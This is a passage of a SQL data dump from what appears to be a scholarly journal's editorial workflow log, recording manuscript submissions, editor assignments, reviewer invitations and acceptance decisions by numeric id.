article',10200,'Publisher',84),(105099,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9944,'Publisher',84),(105100,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11008,'Editor',221),(105101,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105102,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105103,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105104,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105105,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105106,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105107,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105108,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105109,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105112,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11104,'Author',11608),(105148,'0000-00-00 00:00:00','Reviewer has submitted comments',10882,'Reviewer',18830),(105169,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11091,'Publisher',319),(105170,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11090,'Publisher',319),(105178,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105179,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105180,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105181,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105182,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105183,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105184,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105185,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105186,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105187,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105188,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105189,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105190,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105191,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105192,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105193,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105194,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105195,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105196,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105197,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(105198,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10147,'Editor',1669),(105199,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',10147,'Editor',1669),(105200,'0000-00-00 00:00:00','Publisher : Notified Author',10147,'Publisher',274),(105202,'0000-00-00 00:00:00','Reviewer has submitted comments',10799,'Reviewer',15586),(105205,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11115,'Author',11620),(105206,'0000-00-00 00:00:00','Author sent Email',8766,'Author',9821),(105210,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11093,'Publisher',85),(105225,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105226,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105227,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105228,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105229,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105230,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105231,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105232,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105233,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105234,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105235,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105236,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105237,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105238,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105239,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105240,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(105257,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11120,'Author',11626),(105258,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11121,'Author',11628),(105271,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11104,'Publisher',673),(105296,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11073,'Publisher',248),(105297,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11073,'Editor',1674),(105298,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10994,'Editor',1674),(105299,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11073,'Editor',1674),(105300,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10994,'Editor',1674),(105307,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10597,'Publisher',248),(105317,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11083,'Publisher',48),(105319,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11084,'Publisher',48),(105320,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11092,'Publisher',48),(105407,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11133,'Author',11640),(105450,'0000-00-00 00:00:00','Reviewer has submitted comments',10173,'Reviewer',17211),(105451,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10173,'Editor',1310),(105452,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10173,'Editor',1310),(105453,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10173,'Publisher',972),(105477,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11091,'Editor',1069),(105478,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11090,'Editor',1069),(105479,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11091,'Editor',1069),(105480,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11090,'Editor',1069),(105481,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11090,'Publisher',319),(105482,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11091,'Publisher',319),(105484,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11144,'Author',11648),(105489,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10873,'Editor',194),(105490,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10873,'Editor',194),(105491,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11038,'Editor',194),(105492,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11038,'Editor',194),(105493,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10873,'Publisher',48),(105494,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11038,'Publisher',48),(105495,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11083,'Publisher',48),(105496,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11083,'Publisher',48),(105497,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11083,'Publisher',48),(105498,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11084,'Publisher',48),(105499,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11084,'Publisher',48),(105500,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11084,'Publisher',48),(105501,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11084,'Publisher',48),(105502,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11092,'Publisher',48),(105503,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11092,'Publisher',48),(105504,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11092,'Publisher',48),(105505,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11092,'Publisher',48),(105506,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11115,'Publisher',48),(105507,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11115,'Publisher',48),(105508,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11115,'Publisher',48),(105510,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11115,'Publisher',48),(105523,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(105524,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(105525,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(105526,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(105527,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(105528,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(105529,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(105530,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(105531,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(105532,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(105540,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(105541,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(105542,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(105543,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(105544,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(105545,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(105546,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(105547,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(105548,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(105549,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(105551,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105552,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105553,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105554,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105555,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105556,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105557,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105558,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105559,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105560,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105561,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105562,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105563,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105564,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105565,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105566,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11104,'Publisher',673),(105567,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(105569,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11148,'Author',11651),(105583,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11152,'Author',11655),(105595,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11121,'Publisher',988),(105637,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11085,'Publisher',84),(105661,'0000-00-00 00:00:00','Publisher : Notified Editor',10799,'Publisher',85),(105664,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11121,'Publisher',988),(105665,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11121,'Publisher',988),(105666,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11121,'Publisher',988),(105727,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',9517,'Publisher',85),(105734,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105735,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105736,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105737,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105738,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105739,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105740,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105741,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105742,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105743,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105744,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105745,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105746,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105748,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105749,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11085,'Publisher',84),(105759,'0000-00-00 00:00:00','Manuscript Updated',8589,'Publisher',85),(105760,'0000-00-00 00:00:00','Publisher : Notified Editor',8589,'Publisher',85),(105761,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8589,'Editor',1675),(105762,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8589,'Editor',1675),(105769,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11158,'Publisher',972),(105770,'0000-00-00 00:00:00','Reviewer has submitted comments',10737,'Reviewer',18830),(105776,'0000-00-00 00:00:00','Publisher : Notified Editor',10882,'Publisher',988),(105777,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10882,'Editor',1410),(105778,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10882,'Editor',1410),(105781,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10882,'Publisher',988),(105782,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10882,'Publisher',988),(105783,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8589,'Publisher',85),(105784,'0000-00-00 00:00:00','Publisher : Notified Editor',10763,'Publisher',988),(105785,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10763,'Editor',1410),(105786,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10763,'Editor',1410),(105787,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10763,'Publisher',988),(105788,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10763,'Publisher',988),(105790,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8589,'Publisher',85),(105819,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10738,'Publisher',319),(105822,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11133,'Publisher',48),(105823,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11120,'Publisher',48),(105832,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11144,'Publisher',988),(105833,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11144,'Publisher',988),(105834,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11144,'Publisher',988),(105835,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11144,'Publisher',988),(105879,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11148,'Publisher',75),(105890,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11085,'Editor',221),(105891,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11085,'Editor',221),(105898,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11120,'Publisher',48),(105899,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11120,'Publisher',48),(105900,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11120,'Publisher',48),(105901,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11120,'Publisher',48),(105902,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11120,'Publisher',48),(105912,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11133,'Publisher',48),(105913,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11133,'Publisher',48),(105915,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11133,'Publisher',48),(105916,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11133,'Publisher',48),(105918,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11133,'Publisher',48),(105922,'0000-00-00 00:00:00','Manuscript Updated',11085,'Publisher',84),(105981,'0000-00-00 00:00:00','Manuscript has been Revised',8594,'Author',6489),(105985,'0000-00-00 00:00:00','Publisher : Notified Editor',8594,'Publisher',85),(105986,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8594,'Editor',1675),(105988,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8594,'Publisher',85),(105990,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8594,'Publisher',85),(106044,'0000-00-00 00:00:00','Manuscript Submitted by Author',11193,'Author',10058),(106046,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10865,'Publisher',319),(106116,'0000-00-00 00:00:00','Manuscript Updated',10809,'Publisher',84),(106124,'0000-00-00 00:00:00','Reviewer has submitted comments',10483,'Reviewer',20378),(106126,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10483,'Editor',1750),(106127,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10483,'Editor',1750),(106247,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10799,'Editor',1394),(106248,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10799,'Editor',1394),(106249,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10799,'Publisher',85),(106253,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10799,'Publisher',85),(106262,'0000-00-00 00:00:00','Reviewer has submitted comments',10799,'Reviewer',15588),(106264,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11158,'Publisher',972),(106265,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11158,'Publisher',972),(106266,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11158,'Publisher',972),(106267,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11158,'Publisher',972),(106268,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11158,'Publisher',972),(106358,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10588,'Publisher',84),(106405,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',9980,'Publisher',984),(106409,'0000-00-00 00:00:00','Reviewer has submitted comments',11104,'Reviewer',20495),(106410,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11104,'Editor',1732),(106411,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11104,'Editor',1732),(106453,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11230,'Publisher',972),(106455,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11232,'Publisher',972),(106459,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11234,'Author',11713),(106472,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106473,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106474,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106475,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106476,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106477,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106478,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106479,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106480,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106502,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11193,'Publisher',75),(106532,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11238,'Author',11717),(106541,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11196,'Publisher',274),(106569,'0000-00-00 00:00:00','Publisher : Notified Editor',10737,'Publisher',988),(106570,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10737,'Editor',1410),(106571,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10737,'Editor',1410),(106572,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10737,'Publisher',988),(106573,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10737,'Publisher',988),(106590,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11242,'Author',11721),(106595,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11193,'Editor',160),(106596,'0000-00-00 00:00:00','Editor has Invited Reviewer',11193,'Editor',160),(106597,'0000-00-00 00:00:00','Editor has Invited Reviewer',11193,'Editor',160),(106598,'0000-00-00 00:00:00','Editor has Invited Reviewer',11193,'Editor',160),(106599,'0000-00-00 00:00:00','Editor has Invited Reviewer',11193,'Editor',160),(106600,'0000-00-00 00:00:00','Editor has Invited Reviewer',11193,'Editor',160),(106601,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10781,'Editor',160),(106602,'0000-00-00 00:00:00','Editor has Invited Reviewer',10781,'Editor',160),(106603,'0000-00-00 00:00:00','Editor has Invited Reviewer',10781,'Editor',160),(106604,'0000-00-00 00:00:00','Editor has Invited Reviewer',10781,'Editor',160),(106605,'0000-00-00 00:00:00','Editor has Invited Reviewer',10781,'Editor',160),(106606,'0000-00-00 00:00:00','Editor has Invited Reviewer',10781,'Editor',160),(106607,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10176,'Editor',160),(106608,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10060,'Editor',160),(106609,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9800,'Editor',160),(106610,'0000-00-00 00:00:00','Editor has Invited Reviewer',9800,'Editor',160),(106611,'0000-00-00 00:00:00','Editor has Invited Reviewer',9800,'Editor',160),(106612,'0000-00-00 00:00:00','Editor has Invited Reviewer',9800,'Editor',160),(106613,'0000-00-00 00:00:00','Editor has Invited Reviewer',9800,'Editor',160),(106614,'0000-00-00 00:00:00','Editor has Invited Reviewer',9800,'Editor',160),(106615,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7420,'Editor',160),(106616,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7110,'Editor',160),(106617,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11246,'Author',11726),(106673,'0000-00-00 00:00:00','Manuscript Updated',10768,'Publisher',84),(106678,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106679,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106680,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106681,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106682,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106683,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106684,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106685,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(106752,'0000-00-00 00:00:00','Author sent Email',11040,'Author',11559),(106753,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10979,'Editor',194),(106754,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10979,'Editor',194),(106755,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11031,'Editor',194),(106756,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11031,'Editor',194),(106757,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10816,'Editor',194),(106758,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10816,'Editor',194),(106759,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10815,'Editor',194),(106760,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10815,'Editor',194),(106761,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10783,'Editor',194),(106762,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10783,'Editor',194),(106763,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11083,'Editor',194),(106764,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11083,'Editor',194),(106765,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11084,'Editor',194),(106766,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11084,'Editor',194),(106768,'0000-00-00 00:00:00','Reviewer has submitted comments',10979,'Reviewer',11520),(106769,'0000-00-00 00:00:00','Reviewer has submitted comments',10979,'Reviewer',11520),(106770,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10783,'Publisher',48),(106771,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10815,'Publisher',48),(106772,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10816,'Publisher',48),(106773,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10979,'Publisher',48),(106774,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11031,'Publisher',48),(106775,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11083,'Publisher',48),(106776,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11084,'Publisher',48),(106777,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10979,'Publisher',48),(106778,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10116,'Publisher',274),(106779,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10139,'Publisher',274),(106780,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10143,'Publisher',274),(106781,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106782,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106783,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106784,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106785,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106786,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106787,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106788,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106789,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106790,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106791,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106792,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106793,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106794,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106795,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106796,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106797,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106798,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106799,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106800,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106801,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106802,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(106803,'0000-00-00 00:00:00','Author sent Email',11040,'Author',11559),(106829,'0000-00-00 00:00:00','Author sent Email',11040,'Author',11559),(106830,'0000-00-00 00:00:00','Reviewer has submitted comments',9640,'Reviewer',12022),(106831,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11270,'Author',11739),(106835,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11232,'Publisher',972),(106836,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11230,'Publisher',972),(106837,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11232,'Publisher',972),(106838,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11232,'Publisher',972),(106839,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11232,'Publisher',972),(106845,'0000-00-00 00:00:00','Reviewer has submitted comments',10714,'Reviewer',17204),(106846,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10714,'Editor',1310),(106847,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10714,'Editor',1310),(106848,'0000-00-00 00:00:00','Publisher has been Accepted 